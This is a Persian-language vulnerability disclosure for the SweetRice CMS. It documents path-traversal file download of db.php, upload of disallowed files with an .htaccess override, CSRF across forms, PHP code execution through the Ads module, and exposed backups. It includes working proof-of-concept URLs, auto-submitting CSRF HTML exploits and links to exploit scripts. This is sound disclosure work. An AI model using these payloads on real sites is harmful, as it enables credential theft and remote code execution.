SweetRiceیک سیستم مدیریت سایت ساده می باشد که به زبان PHP نوشته شده است و از MySQL استفاده می کند ، این وب اپلیکیشن دارای آسیب پذیری هایی بود که کشف و اکسپلویت شدند و برای ثبت ارسال شدند و با موفقیت ثبت شدنند.

لیست آسیب پذیری های کشف شده :

  • Arbitrary File Download
  • Arbitrary File Upload
  • Cross-Site Request Forgery
  • PHP Code Execution
  • Backup Disclosure

Arbitrary File Download

آسیب پذیر اول مربوط به قسمت بک آپ گیری SweetRice می باشد که یک نفوذگر با داشتن دسترسی مدیریت توانایی خواندن تمامی فایل ها از جمله فایل کانفیگ سیستم مدیریت محتوا(db.php) که شامل اطلاعات مربوط به اتصال دیتابیس می باشد دسترسی پیدا کرده و آن ها را دانلود نمایید.

برای استفاده از این آسیب پذیری ابتدا به پنل لاگین می کنیم و با استفاده از امکان دانلود Backup اقدام به دانلود یک مورد از فایل های Backup دیتابیس می نماییم. نمونه آدرس :

http://localhost/sweetrice/as/?type=data&mode=db_import&db_file=mysql_bakup_20161102100649-1.5.1.sql&form_mode=save

از آنجایی که در قسمت کد های مربوط به دانلود هیچ گونه فیلتری صورت نگرفته است می توان با استفاده از ../ به دایرکتوری های قبل برگشت و فایل های مختلف رو دانلود کرد ، در ضمن ما با استفاده از پارامتر db_file از طریق متود get نام فایل رو وارد می کنیم.

برای نمونه اینجا ما این مورد رو برای دانلود فایل کانفیگ (db.php) استفاده می کنیم.

http://localhost/sweetrice/as/?type=data&mode=db_import&db_file=../db.php&form_mode=save

برای استفاده راحت تر می توانید از اکسپلویت نوشته شده به زبان پایتون برای این آسیب پذیری استفاده نمایید که از لینک زیر قابل دسترس می باشد.

https://github.com/EhsanCod3r/Exploits/blob/master/SweetRice/sweetricelfi.py


Arbitrary File Upload

آسیب پذیری بعدی مربوط به قسمت مدیریت مدیا(Media Center) می باشد که یک نفوذگر با داشتن دسترسی مدیریت اقدام به آپلود فایل با پسوند غیر مجاز نمایید.

این فایل های غیر مجاز شامل فایل هایی با پسوند html , htm , pl , php5 , exe و همچنین بازنویسی فایل .htaccess می شود ، که با استفاده از آن می توان اقدام به اجرای پسوند های مختلف به عنوان یک فایل آلوده استفاده کرد.

با ورود به قسمت مدیریت و وارد شدن به قسمت Media Center می توانید اقدام به آپلود فایل های مخرب نمایید ، همچنین با استفاده بازنویسی فایل .htaccess با محتویات زیر می توان اقدام به اجرای فایل های html و htm به عنوان فایل های php نمایید.

AddType application/x-httpd-php .html .htm

برای این آسیب پذیری نیز یک اکسپلویت به زبان Python نوشته شده است که از لینک زیر قابل دسترس می باشد.

https://github.com/EhsanCod3r/Exploits/blob/master/SweetRice/sweetrice-upload.py



Cross-Site Request Forgery

آسیب پذیری جعل درخواست (CSRF) در تمامی فرم ها و صفحات این وب اپلیکیشن وجود دارد ، از جمله کارهایی که با استفاده از این آسیب پذیری نمایید عبارتند از اجرای دستورات SQL ، درخواست برای ایجاد Backup از تمامی فایل های سایت و دانلود آن ها بدون هیچ فیلتری می باشد.

اکسپلویت html برای اجرای دستورات SQL:

<html>
<!-- CSRF PoC -->
<body>
<form action="http://localhost/as/?type=data&mode=sql_execute&form_mode=yes" method="POST">
<input type="hidden" name='sql_content' value="CREATE DATABASE testfcb">
<input type="submit" value="Execute" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

برای دسترسی به اکسپلویت مربوط به ایجاد Backup به لینک زیر مراجعه فرمایید.

https://github.com/EhsanCod3r/Exploits/blob/master/SweetRice/sweetrice-csrf.html


PHP Code Execution

آسیب پذیری دیگر در قسمت مدیریت تبلیغات (Ads) می باشد که با استفاده از آن می توان با استفاده از آسیب پذیری CSRF موجود در SweetRice اقدام به جعل درخواست و اجرای دستورات PHP در قالب فایل نمود.

این آسیب پذیری موجب ایجاد یک فایل PHP به همراه کد های مورد نظر ما در پوشه ی inc/ads می گردد که به مهاجم اجازه ی نوشتن درب پشتی و کد های مخرب و اجرای آن ها را می دهد.

اکسپلویت CSRF Allow To PHP Code Execution:

<html>
<body onload="document.exploit.submit();">
<form action="http://localhost/sweetrice/as/?type=ad&mode=save" method="POST" name="exploit">
<input type="hidden" name="adk" value="hacked"/>
<textarea type="hidden" name="adv">
<?php
echo '<h1> Hacked </h1>';
phpinfo();?>
&lt;/textarea&gt;
</form>
</body>
</html>


Backup Disclosure


آسیب پذیری افشای Backup به ما اجازه می دهد بدون هیچ محدودیتی به فایل های پشتیبانی مربوط به دیتابیس و سایت دسترسی پیدا نماییم.

برای اینکار کافیست در مرورگر محل ذخیره فایل های پیشتبانی دیتابیس را وارد نماییم که به صورت زیر می باشد.

http://localhost/sweetrice/inc/mysql_backup/

و همچنین فایل پشتیبانی کلیه فایل های سایت با نام "SweetRice-transfer.zip" در دایرکتوری اصلی سایت وجود دارد.

http://localhost/sweettice/SweetRice-transfer.zip


پلاگین های این سیستم مدیریت محتوا نیز در حال بررسی هستند و به زودی آسیب پذیری های دیگری نیز ثبت می گردد.


منابع :

https://www.exploit-db.com/exploits/40716/
https://www.exploit-db.com/exploits/40718/
https://www.exploit-db.com/exploits/40692/
https://www.exploit-db.com/exploits/40698/
https://www.exploit-db.com/exploits/40700/
https://github.com/EhsanCod3r/Exploits/tree/master/SweetRice

با تشکر

یا علی(ع)